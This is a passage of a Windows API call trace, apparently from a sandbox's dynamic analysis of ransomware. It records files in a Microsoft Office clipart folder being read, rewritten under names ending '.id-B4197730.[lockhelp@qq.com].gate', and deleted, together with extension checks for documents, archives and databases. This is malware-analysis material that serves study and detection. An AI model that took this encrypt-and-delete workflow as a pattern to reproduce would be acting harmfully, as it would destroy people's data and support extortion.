hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.639] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.640] SetEndOfFile (hFile=0x414) returned 1 [0288.640] CloseHandle (hObject=0x414) returned 1 [0288.640] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.640] SetEndOfFile (hFile=0x4c4) returned 1 [0288.643] CloseHandle (hObject=0x4c4) returned 1 [0288.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0288.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.644] lstrlenW (lpString=".doc") returned 4 [0288.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.644] lstrlenW (lpString=".docx") returned 5 [0288.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.644] lstrlenW (lpString=".pdf") returned 4 [0288.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.644] lstrlenW (lpString=".xls") returned 4 [0288.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.644] lstrlenW (lpString=".xlsx") returned 5 [0288.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.644] lstrlenW (lpString=".ppt") returned 4 [0288.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.644] lstrlenW (lpString=".zip") returned 4 [0288.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.644] lstrlenW (lpString=".rar") returned 4 [0288.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.644] lstrlenW (lpString=".bz2") returned 4 [0288.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.644] lstrlenW (lpString=".7z") returned 3 [0288.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.645] lstrlenW (lpString=".dbf") returned 4 [0288.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.645] lstrlenW (lpString=".1cd") returned 4 [0288.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.645] lstrlenW (lpString=".jpg") returned 4 [0288.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.645] lstrlenW (lpString=".doc") returned 4 [0288.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString=".docx") returned 5 [0288.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.645] lstrlenW (lpString=".pdf") returned 4 [0288.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString=".xls") returned 4 [0288.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.645] lstrlenW (lpString=".xlsx") returned 5 [0288.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.645] lstrlenW (lpString=".ppt") returned 4 [0288.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.646] lstrlenW (lpString=".zip") returned 4 [0288.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.646] lstrlenW (lpString=".rar") returned 4 [0288.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.646] lstrlenW (lpString=".bz2") returned 4 [0288.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.646] lstrlenW (lpString=".7z") returned 3 [0288.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.646] lstrlenW (lpString=".dbf") returned 4 [0288.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.646] lstrlenW (lpString=".1cd") returned 4 [0288.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0288.646] lstrlenW (lpString=".jpg") returned 4 [0288.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.646] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.646] lstrlenW (lpString="BL00932_.WMF") returned 12 [0288.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.647] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19476) returned 1 [0288.647] CloseHandle (hObject=0x4c4) returned 1 [0288.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0288.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.651] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.651] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.652] GetLastError () returned 0x0 [0288.652] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4c14, lpOverlapped=0x0) returned 1 [0288.703] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4c20, lpOverlapped=0x0) returned 1 [0288.704] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.704] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.704] SetEndOfFile (hFile=0x414) returned 1 [0288.704] CloseHandle (hObject=0x414) returned 1 [0288.705] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.705] SetEndOfFile (hFile=0x4c4) returned 1 [0288.708] CloseHandle (hObject=0x4c4) returned 1 [0288.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0288.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.709] lstrlenW (lpString=".doc") returned 4 [0288.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.709] lstrlenW (lpString=".docx") returned 5 [0288.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.709] lstrlenW (lpString=".pdf") returned 4 [0288.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.709] lstrlenW (lpString=".xls") returned 4 [0288.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.709] lstrlenW (lpString=".xlsx") returned 5 [0288.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.709] lstrlenW (lpString=".ppt") returned 4 [0288.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.709] lstrlenW (lpString=".zip") returned 4 [0288.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.709] lstrlenW (lpString=".rar") returned 4 [0288.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.709] lstrlenW (lpString=".bz2") returned 4 [0288.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString=".7z") returned 3 [0288.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString=".dbf") returned 4 [0288.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString=".1cd") returned 4 [0288.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString=".jpg") returned 4 [0288.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString=".doc") returned 4 [0288.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString=".docx") returned 5 [0288.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.710] lstrlenW (lpString=".pdf") returned 4 [0288.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString=".xls") returned 4 [0288.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.710] lstrlenW (lpString=".xlsx") returned 5 [0288.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.710] lstrlenW (lpString=".ppt") returned 4 [0288.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.710] lstrlenW (lpString=".zip") returned 4 [0288.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.710] lstrlenW (lpString=".rar") returned 4 [0288.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString=".bz2") returned 4 [0288.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.710] lstrlenW (lpString=".7z") returned 3 [0288.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.711] lstrlenW (lpString=".dbf") returned 4 [0288.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.711] lstrlenW (lpString=".1cd") returned 4 [0288.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0288.711] lstrlenW (lpString=".jpg") returned 4 [0288.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.711] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.711] lstrlenW (lpString="BL00985_.WMF") returned 12 [0288.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.711] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3768) returned 1 [0288.711] CloseHandle (hObject=0x4c4) returned 1 [0288.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0288.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.712] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.712] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.712] GetLastError () returned 0x0 [0288.712] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xeb8, lpOverlapped=0x0) returned 1 [0288.750] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec0, lpOverlapped=0x0) returned 1 [0288.750] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.751] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.751] SetEndOfFile (hFile=0x414) returned 1 [0288.751] CloseHandle (hObject=0x414) returned 1 [0288.751] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.751] SetEndOfFile (hFile=0x4c4) returned 1 [0288.753] CloseHandle (hObject=0x4c4) returned 1 [0288.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0288.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.754] lstrlenW (lpString=".doc") returned 4 [0288.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString=".docx") returned 5 [0288.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.755] lstrlenW (lpString=".pdf") returned 4 [0288.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString=".xls") returned 4 [0288.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.755] lstrlenW (lpString=".xlsx") returned 5 [0288.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.755] lstrlenW (lpString=".ppt") returned 4 [0288.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString=".zip") returned 4 [0288.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.755] lstrlenW (lpString=".rar") returned 4 [0288.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString=".bz2") returned 4 [0288.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString=".7z") returned 3 [0288.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString=".dbf") returned 4 [0288.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString=".1cd") returned 4 [0288.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString=".jpg") returned 4 [0288.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.755] lstrlenW (lpString=".doc") returned 4 [0288.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString=".docx") returned 5 [0288.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.756] lstrlenW (lpString=".pdf") returned 4 [0288.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString=".xls") returned 4 [0288.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.756] lstrlenW (lpString=".xlsx") returned 5 [0288.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.756] lstrlenW (lpString=".ppt") returned 4 [0288.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.756] lstrlenW (lpString=".zip") returned 4 [0288.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.756] lstrlenW (lpString=".rar") returned 4 [0288.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString=".bz2") returned 4 [0288.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString=".7z") returned 3 [0288.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.756] lstrlenW (lpString=".dbf") returned 4 [0288.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.756] lstrlenW (lpString=".1cd") returned 4 [0288.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0288.756] lstrlenW (lpString=".jpg") returned 4 [0288.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.756] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.756] lstrlenW (lpString="BOAT.WMF") returned 8 [0288.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.757] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3350) returned 1 [0288.757] CloseHandle (hObject=0x4c4) returned 1 [0288.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0288.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.758] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.758] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.759] GetLastError () returned 0x0 [0288.759] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xd16, lpOverlapped=0x0) returned 1 [0288.809] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xd20, lpOverlapped=0x0) returned 1 [0288.810] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.810] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33bfc94, 